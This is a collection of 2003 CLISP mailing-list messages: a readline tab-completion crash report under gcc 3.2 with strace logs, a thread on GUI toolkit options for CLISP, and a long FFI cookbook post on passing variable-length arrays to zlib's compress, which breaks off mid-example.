close(9)                                = 0
munmap(0x40024000, 4096)                = 0
open("/usr/share/locale/ru_RU.KOI8-R/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/share/locale/ru_RU.koi8r/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/share/locale/ru_RU/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/share/locale/ru.KOI8-R/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/share/locale/ru.koi8r/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/share/locale/ru/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
write(2, "\n*** - Program stack overflow. R"..., 36
*** - Program stack overflow. RESET) = 36
mmap2(0x202f2000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x202f2000
select(1024, [0], NULL, NULL, {0, 0})   = 0 (Timeout)
write(1, "\n", 1)                       = 1
write(1, "[2]> ", 5)                    = 5
fsync(1)                                = -1 EINVAL (Invalid argument)

--------------090503000009040508040004
Content-Type: text/plain;
 name="clisp-debug.strace"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="clisp-debug.strace"

read(0, "a", 1)                         = 1
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40020000
write(1, "a", 1)                        = 1
rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0
read(0, "\t", 1)                        = 1
open("/usr/lib/gconv/KOI8-R.so", O_RDONLY) = 9
read(9, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\6\0\000"..., 1024) = 1024
fstat64(9, {st_mode=S_IFREG|0755, st_size=7316, ...}) = 0
mmap2(NULL, 10328, PROT_READ|PROT_EXEC, MAP_PRIVATE, 9, 0) = 0x40021000
mprotect(0x40023000, 2136, PROT_NONE)   = 0
mmap2(0x40023000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 9, 0x1) = 0x40023000
close(9)                                = 0
write(2, "\7", 1)                       = 1
rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0
read(0, "\t", 1)                        = 1
mmap2(0x2034a000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x2034a000
write(1, "\n", 1)                       = 1
write(1, "abort                       appl"..., 67) = 67
write(1, "abs                         apro"..., 73) = 73
write(1, "acons                       apro"..., 78) = 78
write(1, "acos                        aref"..., 73) = 73
write(1, "acosh                       argl"..., 79) = 79
write(1, "add-method                  arit"..., 60) = 60
write(1, "address                     arit"..., 61) = 61
write(1, "adjoin                      arit"..., 62) = 62
write(1, "adjustable-array-p          arra"..., 63) = 63
write(1, "adjust-array                arra"..., 62) = 62
write(1, "allocate-instance           arra"..., 65) = 65
write(1, "alpha-char-p                arra"..., 69) = 69
write(1, "alphanumericp               arra"..., 61) = 61
write(1, "and                         arra"..., 62) = 62
write(1, "appease-cerrors             arra"..., 61) = 61
write(1, "append                      arra"..., 57) = 57
write(1, "apply                       arra"..., 57) = 57
write(1, "[1]> a", 6)                   = 6

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> * In message <3E62106A.2010500@yandex.ru>
> * On the subject of "[clisp-list] readline & gcc 3.2 problem"
> * Sent on Sun, 02 Mar 2003 17:08:42 +0300
> * Honorable "Vadim V. Zhytnikov" <vvzhy@yandex.ru> writes:
>
> Script started on Sun Mar  2 15:35:04 2003
> [1]> a
> *** - Program stack overflow. RESET
> [2]> (quit)
> Bye.
> [vadim@proxl src]$
> Script done on Sun Mar  2 15:35:28 2003
> 
> ==========================================
> 
> My environment is:
> Linux 2.4.18, glibc 2.2.6, readline 4.3.
> 
> I recompiled lisp with debug option and to my
> astonishment problem magically disappeared!

the problem starts with SAFETY<=1 (see lispbibl.d)
See <http://sourceforge.net/mailarchive/message.php?msg_id=3599900>

> So the same code compiled without debug crashes
> and with debug works fine.  I've attached pieces
> of strace log for both this cases.
> 
> I didn't mentioned yet that in all test I used gcc 3.2.1.  So I tried
> to build clisp with the with other available compilers namely gcc 2.95
> and 2.95.3.  In both cases clisp works fine and I don't observe any
> troubles with readline.  It seems that there is some subtle point
> concerning readline and gcc 3.2 in clisp.

> Can anybody reproduce the problem?
yes. plese see <http://clisp.cons.org/wanted.html#completion>

> I'm ready to debug it further to pin down the problem.

Please do, by all means!!!

>        <vvzhy@mail.ru>
>       <vvzhy@netorn.ru>
> read(0, "a", 1)                         = 1
> fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
> mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40020000
> write(1, "a", 1)                        = 1
> rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0
> read(0, "\t", 1)                        = 1
> open("/usr/lib/gconv/KOI8-R.so", O_RDONLY) = 9
> read(9, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\6\0\000"..., 1024) = 1024
> fstat64(9, {st_mode=S_IFREG|0755, st_size=7316, ...}) = 0
> mmap2(NULL, 10328, PROT_READ|PROT_EXEC, MAP_PRIVATE, 9, 0) = 0x40021000
> mprotect(0x40023000, 2136, PROT_NONE)   = 0
> mmap2(0x40023000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 9, 0x1) = 0x40023000
> close(9)                                = 0
> --- SIGSEGV (Segmentation fault) @ 0 (0) ---
> mprotect(0x202b9000, 4096, PROT_READ|PROT_WRITE) = 0
> sigreturn()                             = ? (mask now [])
> --- SIGSEGV (Segmentation fault) @ 0 (0) ---
> open("/proc/self/maps", O_RDONLY)       = 9
> fstat64(9, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0
> mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40024000
> read(9, "08048000-08173000 r-xp 00000000 "..., 4096) = 2936
> close(9)                                = 0
> munmap(0x40024000, 4096)                = 0
> open("/usr/share/locale/ru_RU.KOI8-R/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
> open("/usr/share/locale/ru_RU.koi8r/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
> open("/usr/share/locale/ru_RU/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
> open("/usr/share/locale/ru.KOI8-R/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
> open("/usr/share/locale/ru.koi8r/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
> open("/usr/share/locale/ru/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
> write(2, "\n*** - Program stack overflow. R"..., 36
> *** - Program stack overflow. RESET) = 36
> mmap2(0x202f2000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x202f2000
> select(1024, [0], NULL, NULL, {0, 0})   = 0 (Timeout)
> write(1, "\n", 1)                       = 1
> write(1, "[2]> ", 5)                    = 5
> fsync(1)                                = -1 EINVAL (Invalid argument)
> read(0, "a", 1)                         = 1
> fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
> mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40020000
> write(1, "a", 1)                        = 1
> rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0
> read(0, "\t", 1)                        = 1
> open("/usr/lib/gconv/KOI8-R.so", O_RDONLY) = 9
> read(9, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\6\0\000"..., 1024) = 1024
> fstat64(9, {st_mode=S_IFREG|0755, st_size=7316, ...}) = 0
> mmap2(NULL, 10328, PROT_READ|PROT_EXEC, MAP_PRIVATE, 9, 0) = 0x40021000
> mprotect(0x40023000, 2136, PROT_NONE)   = 0
> mmap2(0x40023000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 9, 0x1) = 0x40023000
> close(9)                                = 0
> write(2, "\7", 1)                       = 1
> rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0
> read(0, "\t", 1)                        = 1
> mmap2(0x2034a000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x2034a000
> write(1, "\n", 1)                       = 1
> write(1, "abort                       appl"..., 67) = 67
> write(1, "abs                         apro"..., 73) = 73
> write(1, "acons                       apro"..., 78) = 78
> write(1, "acos                        aref"..., 73) = 73
> write(1, "acosh                       argl"..., 79) = 79
> write(1, "add-method                  arit"..., 60) = 60
> write(1, "address                     arit"..., 61) = 61
> write(1, "adjoin                      arit"..., 62) = 62
> write(1, "adjustable-array-p          arra"..., 63) = 63
> write(1, "adjust-array                arra"..., 62) = 62
> write(1, "allocate-instance           arra"..., 65) = 65
> write(1, "alpha-char-p                arra"..., 69) = 69
> write(1, "alphanumericp               arra"..., 61) = 61
> write(1, "and                         arra"..., 62) = 62
> write(1, "appease-cerrors             arra"..., 61) = 61
> write(1, "append                      arra"..., 57) = 57
> write(1, "apply                       arra"..., 57) = 57
> write(1, "[1]> a", 6)                   = 6

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I was perusing the wanted list when I saw that clisp wants a GUI. I had 
been working on slowly porting OpenGL (slowed by school, lack of 
knowledge about clisp, and lack of knowledge about OpenGL in general) so 
that I could write a GUI library for an application I'd been working on. 
In a different, unrelated project, I ran across www.picoGUI.org and 
www.fresco.org which both looked promising.

Fresco looks like it has more potential for coolness in the future, but 
PicoGUI works NOW. Does the list think either of these projects are 
worth supporting in clisp? From where I stand, the main advantage to 
supporting PicoGUI or Fresco is that they're neatly cross-platform and 
most of all, don't depend explicitly on FFI! (in fact, picoGUI 
developers discourage other languages from wrapping the C client library).

The downside is that I haven't perused the picogui client code all that 
much, and being a relatively inexperienced lisp programmer, the task of 
implementing the whole client seems a little daunting (but not wholly 
unwelcome).

Input?

-Scott



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> * In message <3E62E50F.9050903@gmx.net>
> * On the subject of "[clisp-list] CLISP wanted: GUI"
> * Sent on Sun, 02 Mar 2003 22:15:59 -0700
> * Honorable Scott Williams <ortmage@gmx.net> writes:
>
> I ran across www.picoGUI.org and www.fresco.org which both looked
> promising.  Does the list think either of these projects are worth
> supporting in clisp?

From what I can glean from 30 sec at each web site, these are not GUI
toolkits but new window systems.
Interfacing with them will not bring GUI capabilities to CLISP running
on a woe32 or a Linux/X/GNOME/KDE.

I think it would be more valuable to either
- finish new-clx (for faster CLX in CLISP)
- finish&port the closure web browser to CLISP
  <http://www.stud.uni-karlsruhe.de/~unk6/closure/>
- finish&port the hemlock editor to CLISP
  <http://www.stud.uni-karlsruhe.de/~unk6/export/>

OTOH, I do not want to discourage you.
Pick your project and fire off!

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--- Sam Steingold <sds@gnu.org> wrote:
> > * In message <3E62E50F.9050903@gmx.net>
> > * On the subject of "[clisp-list] CLISP wanted: GUI"
> > * Sent on Sun, 02 Mar 2003 22:15:59 -0700
> > * Honorable Scott Williams <ortmage@gmx.net> writes:
> >
> > I ran across www.picoGUI.org and www.fresco.org which both looked
> > promising.  Does the list think either of these projects are worth
> > supporting in clisp?
> 
> From what I can glean from 30 sec at each web site, these are not GUI
> toolkits but new window systems.
> Interfacing with them will not bring GUI capabilities to CLISP
> running on a woe32 or a Linux/X/GNOME/KDE.
> 
> I think it would be more valuable to either
> - finish new-clx (for faster CLX in CLISP)
> - finish&port the closure web browser to CLISP
>   <http://www.stud.uni-karlsruhe.de/~unk6/closure/>
> - finish&port the hemlock editor to CLISP
>   <http://www.stud.uni-karlsruhe.de/~unk6/export/>
> 
> OTOH, I do not want to discourage you.
> Pick your project and fire off!

You might also look at helping port the Garnet Lisp GUI toolkit to
Win32 and fixing up bitrot issues (http://garnetlisp.sf.net) or help
the McCLIM GUI toolkit project http://www.mikemac.com/mikemac/McCLIM/
which is more advanced than the website would lead you to believe.  I
think closure is being reimplimented in McCLIM, but the author hasn't
released his code to the public yet.

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As someone who has some experience with porting gui's I think the easiest
thing to do is to make garnet work on win32.  We are close to that,
I planned to work on it as soon as I finish packing my house, in
preparing to move.  Then, we should concentrate on McClim, as that
is the most modern lisp gui, which would make clisp more functionally
compatible
with modern lisps.
Dan Stanger

Scott Williams wrote:

> I was perusing the wanted list when I saw that clisp wants a GUI. I had
> been working on slowly porting OpenGL (slowed by school, lack of
> knowledge about clisp, and lack of knowledge about OpenGL in general) so
> that I could write a GUI library for an application I'd been working on.
> In a different, unrelated project, I ran across www.picoGUI.org and
> www.fresco.org which both looked promising.
>
> Fresco looks like it has more potential for coolness in the future, but
> PicoGUI works NOW. Does the list think either of these projects are
> worth supporting in clisp? From where I stand, the main advantage to
> supporting PicoGUI or Fresco is that they're neatly cross-platform and
> most of all, don't depend explicitly on FFI! (in fact, picoGUI
> developers discourage other languages from wrapping the C client library).
>
> The downside is that I haven't perused the picogui client code all that
> much, and being a relatively inexperienced lisp programmer, the task of
> implementing the whole client seems a little daunting (but not wholly
> unwelcome).
>
> Input?
>
> -Scott
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Dear reader,

[Sam: this text will hopefully answer questions regarding FOREIGN-VALUE et =
al.]

the text below assumes some familiarity with the CLISP FFI declarations
and reading of prior FFI cookbook texts of mine (i.e. sent on 12th
of February 2002 to this list).

How to deal with variable length (unknown at compile time) arrays with
the CLISP FFI?

The aforementioned cookbook part already contains an example for
gethostname. It was relatively easy, since the maximal array length
(MAXHOSTNAMELEN: 256) is a system-wide constant.

There's a well-known variable length case everybody knows about:
C-STRING.  You may not have recognized that C-ARRAY-PTR is a
generalization of C-STRING to any other type: (C-ARRAY-PTR CHARACTER)
is equivalent to C-STRING - except for efficiency. Yet that is still
not enough to handle typical needs.

I'll use zlib's compress function as an example throughout this
document. Its declaration is:
int compress (Bytef *dest, uLongf *destLen,
              const Bytef *source, uLong sourceLen);

However that does not tell enough for a FFI definition. The
documentation defines: "sourceLen is the byte length of the source
buffer. Upon entry, destLen is the total size of the destination
buffer, which must be at least 0.1% larger than sourceLen plus 12
bytes. Upon exit, destLen is the actual size of the compressed
buffer."

Now this is all we need to know about compress. Here is what I dream of:
(def-lib-call-out zlib-compress [eventually library]
  (:name "compress")
  (:arguments (dest (ffi:c-ptr (ffi:c-array ffi:uint8 is_len(destlen)))
                    :out :guard (zerop return))
              (destlen ffi:ulong :in-out)
              (source (ffi:c-ptr (ffi:c-array ffi:uint8 is_len(sourcelen)))=
)
              (sourcelen ffi:ulong))
  (:return-type ffi:int))
Well, the CLISP FFI does not support this kind of declaration. We need
to do it by hand. We will need a Lisp wrapper around the foreign function.

I'll distinguish input from output (or :in-out) cases and start with
:in parameter declarations.

Part 1: input parameters (:IN)

source is a typical :in parameter. It's a variable length array, and
its length is passed as an extra argument.

If, in our application, we're going to compress strings only, then the
above declaration could be changed to (c-ptr (c-array character
is_len(sourcelen))) -- at least in what I dream of.

But in such cases, I'd rather just use C-STRING. The difference is a
terminating NUL (0) character that the FFI will supply
automatically. The callee (zlib) will not even see it, since it is not
allowed to read more than sourcelen characters.

The equivalent declaration for bytes instead of a string is:
 (C-ARRAY-PTR UINT8)

(def-lib-call-out zlib-compress [eventually library]
  (:name "compress")
  (:arguments (dest ... :out #|:guard (zerop return)|#)
              (destlen ulong :in-out)
              (source (c-array-ptr uint8))
              (sourcelen ulong))
  (:return-type ffi:int))
(defun my-compress (sourcebytes)
  "Accepts an array of bytes and returns a vector of its compressed content=
s."
  (let ((sourcelen (length sourcebytes)))
    (multiple-value-bind (status actual)
        (zlib-compress <destlen> bytes sourcelen)
      ...)))

Several people have inquired whether CLISP would stop at a 0 byte
occurring within sourcebytes. The answer is no. From the Lisp point of
view, a whole array is passed trough the interface. Contents don't
matter, therefore the length is not limited by an eventual
(POSITION 0 sourcebytes).

Summary: Do waste a terminating 0 byte (or int, or NULL pointer) by
using C-STRING or (C-ARRAY-PTR x) when applicable.  This has much less
overhead and easier to read than the variable length support that we
cannot circumvent for output parameters. However, C-STRING or
C-ARRAY-PTR are not useable in call cases. We then have to use a
technique as developed below for the :OUT (or :in-out) case.


Part 2: output parameters (:OUT or :IN-OUT)

compress' dest is a typical output parameter.

One solution path would be to construct a FFI definition at run-time,
when we know the actual source and dest buffer length. We would need
to weight the time needed to build, parse and compile such a
definition vs. the gain from being able to use an exact array type
declaration comprising the size.

(defun my-compress (source)
  (let* ((sourcelen (length source))
         (destlen (+ 12 (ceiling (* sourcelen 1.05)))))
    (funcall
     (foreign-address-function=09=09; not yet in CLISP
      #'zlib-compress
      `(c-function ...
           (dest (C-ARRAY CHARACTER ,destlen) :out)
           (destlen (C-PTR ulong) :in-out)
           (source (C-ARRAY CHARACTER ,sourcelen))
           (sourcelen ulong)))
     destlen source sourcelen)))

This is one way to go, which in the case of compress is not enough,
because only part of the dest buffer is filled in, as returned in
<destlen> on output. We could use SUBSEQ on the result of the call to
zlib-compress, but that would be some waste of storage.

Instead, let us allocate the destination buffer on the stack, using
FFI:WITH-FOREIGN-OBJECT. This is faster and makes more sense than
using malloc() (via FFI:SIMPLE-CALLOC or FFI:DEEP-MALLOC) and
UNWIND-PROTECT. We must then pass a C-POINTER (a FOREIGN-ADDRESS
object) to this buffer to the foreign function.

(def-lib-call-out zlib-compress [eventually library]
  (:name "compress")
  (:arguments (dest C-POINTER :IN #|:guard (zerop return)|#)
              (destlen ulong :in-out)
              (source (c-array-ptr uint8))
              (sourcelen ulong))
  (:return-type ffi:int))

Note how the former :OUT declaration for dest now turns into an :IN
declaration. That's why C doesn't know about :in or :out, as opposed
to other languages. All it sees is pointers.

(defun my-compress (sourcebytes)
  "Accepts an array of bytes and returns a vector of its compressed content=
s."
  (let* ((sourcelen (length source))
         (destlen (+ 12 (ceiling (* sourcelen 1.05)))))
    (WITH-FOREIGN-OBJECT (dest 'uint8 :count destlen)
      (multiple-value-bind (status actual)
          (zlib-compress (FOREIGN-ADDRESS dest) destlen sourcebytes sourcel=
en)
        (if (zerop status)
          ...)))))

Actually, I haven't yet implemented the :COUNT extension to
WITH-FOREIGN-OBJECT (so far it's only available with SIMPLE-CALLOC and
DEEP-MALLOC). Let's use an equivalent (but less efficient) form
instead:

    (WITH-FOREIGN-OBJECT (dest `(c-array uint8 ,destlen))

Note how I passed (FOREIGN-ADDRESS dest) instead of `dest' to the
foreign function. The reason is that WITH-FOREIGN-OBJECT creates an
object of type FOREIGN-VARIABLE, which one can understand as
encapsulating a FOREIGN-ADDRESS object together with a foreign type.

I'm thinking about submitting a patch to src/foreign.d which would
made this call superfluous: a C-POINTER declaration would be satisfied
by either untyped FOREIGN-ADDRESS (as by now) or typed
FOREIGN-VARIABLE objects.

What did we achieve so far? We managed to pass to the foreign function
a buffer exactly as large as needed, along with its size. The foreign
function will fill part of it, and we need to extract the results.

The dest buffer is only filled when the function was successful:

  (if (zerop status)
    (subseq (FOREIGN-VALUE dest) 0 actual)
    (error ...))

The code above dereferences the whole buffer, then takes out the part
that was actually filled in, allocating and copying another
sequence. We shall do without it.

The CLISP FFI contains macros to operate on what is called foreign
places. In the future, it will export their lower-level functional
counterparts which operate on FOREIGN-VARIABLE objects, as obtained by
e.g. with-foreign-object.  These functions shall have a trailing * in
their name, e.g. ELEMENT* instead of ELEMENT, etc. (It's undecided
whether I should rename FOREIGN-VALUE to FOREIGN-VALUE* for coherence,
or only rename in case of name duplication -- please tell me).

Remember the foreign type of dest: (C-ARRAY UINT8 <destlen>)
What we want is a shorter array. Let's use CAST*, like any C programmer.

  (foreign-value (CAST* dest `(C-ARRAY UINT8 ,actual))) ; broken

Using CAST* here does not work, though, because CLISP insists on
keeping the size of the foreign structure constant when casting. So we
are going to use OFFSET* instead, which lets us conceptually overlay an
address or memory range with another structure.

  (if (zerop status)
    (foreign-value (FFI:OFFSET* dest 0 `(C-ARRAY UINT8 ,actual)))
to be compared with the original form:
  (subseq (FOREIGN-VALUE dest) 0 actual)

Joining all steps, the complete example becomes:

(defun my-compress (sourcebytes)
  "Accepts an array of bytes and returns a vector of its compressed content=
s."
  (let* ((sourcelen (length source))
         (destlen (+ 12 (ceiling (* sourcelen 1.05)))))
    (WITH-FOREIGN-OBJECT (dest 'uint8 :count destlen)
      (multiple-value-bind (status actual)
          (zlib-compress (FOREIGN-ADDRESS dest) destlen sourcebytes sourcel=
en)
=09(if (zerop status)
=09  (FOREIGN-VALUE (OFFSET* dest 0 `(C-ARRAY UINT8 ,actual)))
=09  (error "zlib::compress error code ~D" status))))))

However, as of CLISP-2.30, these names with the trailing star are not
yet exported from the package FFI. They're named FFI::%CAST instead,
which is not engaging. Instead of using these, I'll show how to write
equivalent code using what CLISP calls foreign places.

A foreign place is a concept similar to that of a generalized variable.
Instead of using with-foreign-object, we shall write WITH-C-VAR. The
code looks almost the same.

  (WITH-C-VAR (dest `(c-array uint8 ,destlen))
    (multiple-value-bind (status destbytes actual)
=09(zlib-compress (C-VAR-ADDRESS dest) destlen sourcebytes sourcelen)
      (if (zerop status)
=09(subseq dest 0 actual)
=09(error "zlib::compress error code ~D" status))))

`Dest' now denotes a foreign place. From a technical point of this
means no more than there is a SYMBOL-MACROLET which wraps its uses
into a FOREIGN-VALUE form. Therefore, evaluating (reading) `dest'
dereferences the foreign memory's contents. Setting it (using SETQ or
SETF) writes to foreign memory. The address of this foreign places can
be obtained with C-VAR-ADDRESS -- FOREIGN-ADDRESS would not work.

So one saves typing FOREIGN-VALUE. What else is there about it? On the
positive side, it combines nicely with Lisp. Foreign structures can be
used smoothly. And it works with old CLISPs (OFFSET has been there
since day one of the CLISP FFI). Please compare the resulting code
with the above.

(defun my-compress (sourcebytes)
  "Accepts an array of bytes and returns a vector of its compressed content=
s."
  (let* ((sourcelen (length source))
         (destlen (+ 12 (ceiling (* sourcelen 1.05)))))
    (WITH-C-VAR (dest 'uint8 :count destlen)
      (multiple-value-bind (status actual)
          (zlib-compress (C-VAR-ADDRESS dest) destlen sourcebytes sourcelen=
)
=09(if (zerop status)
=09  (OFFSET dest 0 `(c-array uint8 ,actual))
=09  (error "zlib::compress error code ~D" status))))))

On the negative side, I find the automated dereferencing dangerous,
since the programmer must be careful about each of its appearances:
usually only within other FFI forms like SLOT, ELEMENT, CAST,
OFFSET. In particular, it should not be passed to another function:
this passes the dereferenced value, not a reference to foreign memory!

As an example, consider returning from a function the buffer and its size:
  (values dest (length dest))=09;BROKEN
This code reads the foreign buffer twice and builds two Lisp vectors
out of it!. One should have used instead:
  (values dest (SIZEOF dest))
or
  (let ((dest dest))
    (values dest (length dest)))

Let ((dest dest)) is a little bit obfuscated: the Lisp variable
could (or should) have been renamed instead, giving:
(let ((dest-as-Lisp-vector dest))
  (values dest-as-Lisp-vector (length dest-as-Lisp-vector)))

Furthermore, using FOREIGN-VARIABLE objects instead of foreign places
feels closer to programming with references or proxies (or objects?)
as when using Java, Python or C++ etc.

Last but not least: an object of type FOREIGN-VARIABLE can be stored
anywhere and passed to a function, like every other object. Foreign
places cannot. It's natural for the functions SIMPLE-CALLOC and
DEEP-MALLOC to return such objects.

I've been considering adding a WITH-FOREIGN-PLACE macro: it would
define a foreign place out of a foreign-variable (or foreign address)
object. This would be useful in those portions of code which access
slots of the foreign structure.
  (WITH-FOREIGN-PLACE (place (gethash key table (DEEP-MALLOC ...)))
    (element place 0))

WITH-C-VAR now appears as a combination of it and of WITH-FOREIGN-OBJECT:
  (with-foreign-object (-var- type [initform])
    (WITH-FOREIGN-PLACE (place -var-)
      ...body))

(defmacro WITH-FOREIGN-PLACE ((place foreign-variable) &body body)
  (let ((fv (gensym (symbol-name place))))
    `(let ((,fv ,foreign-variable))
       (symbol-macrolet ((,place (FOREIGN-VALUE ,fv))) ,@body))))


=09  Lifting the 1:1 encoding restriction on strings

Western people tend to forget about it, but
custom:*DEFAULT-FOREIGN-ENCODING* comes into play every time C-STRING
or CHARACTER declarations are involved. How to deal with e.g. UTF-8,
UTF-16, Japaneese or Corean encodings?

One trivial - yet successful - solution path would be to use a
composition of known elements:
(defun compress-string-to-bytes (string encoding &key (start 0) (end nil))
  (my-compress
   (ext:convert-string-to-bytes string encoding :start start :end end)))

We shall investigate another solution. It involves
WITH-FOREIGN-STRING. This form is specialized in allocating strings on
the execution stack and accepts encoding, start and end arguments.
WITH-FOREIGN-STRING yields a FOREIGN-ADDRESS object (not a foreign
variable as with-foreign-object) that we shall pass as the source to
the foreign function. We thus need another FFI declaration:

(def-lib-call-out zlib-compress [eventually library]
  (:name "compress")
  (:arguments (dest C-POINTER :in #|:guard (zerop return)|#)
              (destlen ulong :in-out)
              (source C-POINTER)
              (sourcelen ulong))
  (:return-type ffi:int)
  (:language :stdc))

The WITH-FOREIGN-STRING macro takes a program body and binds three
variables to a FOREIGN-ADDRESS object pointing to the converted
string, its original length in elements (modulo the NULL-TERMINATED-P
key) and its length in bytes.

I designed it not to use a FOREIGN-VARIABLE object because:
 1. most uses would be to pass its address to a foreign function anyway,
 2. more importantly, its unclear what the proper foreign type should
    be. One may think that for fixed-with encodings like e.g. UTF-16,
    it should result in (C-ARRAY UINT16 <element-count>) but that
    would imply that the programmer might not be in control of the
    type since the actual encoding may be defined by the
    user. Therefore, only (C-ARRAY UINT8 <sourcelen>) seems to make
    sense. But wouldn't (C-ARRAY-MAX UINT8 <sourcelen>) not be more
    appropriate?

So I decided to stick with an untyped address. Should you have a need
to access individual characters, then you can "cast" it to a foreign
variable object of the type that you need using
FOREIGN-ADDRESS-VARIABLE (not yet in CLISP).
 (FOREIGN-ADDRESS-VARIABLE dest `(c-array uint8 ,sourcelen))
I'm thinking about using the already existing CAST macro or CAST*
function for this purpose.
Then you can use typical accessors on it:
 (ELEMENT* (foreign-address-variable dest `(c-array uint 8 ,sourcelen)) 0)
would extract the first byte (if length allows).

Nevertheless, the code below invokes FOREIGN-ADDRESS on dest, just so
to feel safe should I eve change my mind. Given a FOREIGN-ADDRESS
object, it's in effect an identity function.

(defun compress-string-to-bytes (string encoding &key (start 0) (end nil))
  "Return a vector of compressed bytes from STRING, according to ENCODING"
  (WITH-FOREIGN-STRING (source element-count sourcelen
=09=09=09string
=09=09=09:null-terminated-p nil
=09=09=09:encoding encoding
=09=09=09:start start :end end)
    (declare (ignore element-count))
    (let ((destlen (+ 12 (ceiling (* sourcelen 1.05)))))
      (with-c-var (dest 'uint8 :count destlen)
        (multiple-value-bind (status actual)
            (zlib-compress (c-var-address dest) destlen
=09=09=09   (FOREIGN-ADDRESS source) sourcelen)
=09  (if (zerop status)
=09    (offset dest 0 `(c-array uint8 ,actual))
=09    (error "zlib::compress error code ~D" status)))))))


=09  Efficiency considerations

I did not perform actual measurements, yet with the current API, it is
quite probable that using SUBSEQ is faster than using CAST or OFFSET
etc. The reason is that in the latter case, a lot is happening at
run-time in CLISP:
 1. create a (c-array uint8 <actual> list using backquote
 2. transform it into the internal type representation
 3. construct a FOREIGN-VARIABLE with this type
 4. dereference memory using FOREIGN-VALUE

It therefore becomes questionable whether the advantage of
dereferencing only <actual> bytes instead of the whole <destlen>
number of bytes and not creating an extra vector is worth our effort!
It appears that what stands in our way towards performance is the
extra level of abstraction introduced by the CLISP FFI. What we see is
some kind of interpretation overhead. I'm not speaking about a
byte-code interpreter, but about an interpreter specialized on
manipulating foreign variable descriptions and interpreting forms like
OFFSET, ELEMENT, SLOT etc.

With a Lisp-to-native code compiler like CMUCL, clever compiler
optimizations and a good FFI API, this run-time overhead could be
avoided. W.r.t. to the API, a small problem here is the use of
backquote, which means that the compiler would have to figure out that
the backquoted list only serves to build an external type description
for a variable length array. It should be easier to express and
understand this, for both the programmer and the compiler: that's why
I introduced the :count keyword to the memory allocating
functions. It's easier to optimize
      (DEEP-MALLOC 'uint8 :count (foo x))
than  (DEEP-MALLOC `(c-array uint8 ,(foo x)))


By contrast, the Amiga-CLISP AFFI has no such interpretation
level. The API that it provides is the equivalent of machine level:
the work that in all cases must be done is memory transfer, the rest
is overhead. Therefore, the AFFI only contains 4 functions.  A lot can
be implemented on top of these. There is one function for foreign
function call and three for memory transfer: MEM-READ, MEM-WRITE and
MEM-WRITE-VECTOR.

Using AFFI, we would have written:
(let ((result (MAKE-ARRAY actual :element-type '(unsigned-byte 8))))
  (MEM-READ (foreign-address dest) result))
It would have been really fast, with the least possible overhead, but
the programmer would have to write the code in an imperative style,
which to the compiler theory purist (like me) appears like applying
partial evaluation or compiler optimization techniques by hand, which
s/he considers a shame.

Yet working with the AFFI does not let one feel stranger than working
with C, or with any of the other Lisp's FFIs. It's working with a lot
of low-level stuff like buffer allocation, correct buffer size
etc. which declarative style (like CLISP's DEF-CALL-OUT) tends to avoid.

Yet when DEF-CALL-OUT is not enough and a wrapper is needed, using
CLISP's DEREF, WITH-FOREIGN-OBJECT etc. does not feel like programming
at a highler level than using other FFIs.  Compared to these, the
overhead of all the intermediate FOREIGN-VARIABLE objects and steps is
too high IMHO.  IMHO, an API which produces code which will be order
of magnitudes slower than its C counterpart will rightly be the target
of criticisms.


=09=09Declarative style wins

Remember what I said I dream of?

(def-lib-call-out zlib-compress [eventually library]
  (:name "compress")
  (:arguments (dest (ffi:c-ptr (ffi:c-array ffi:uint8 is_len(destlen)))
                    :out :guard (zerop return))
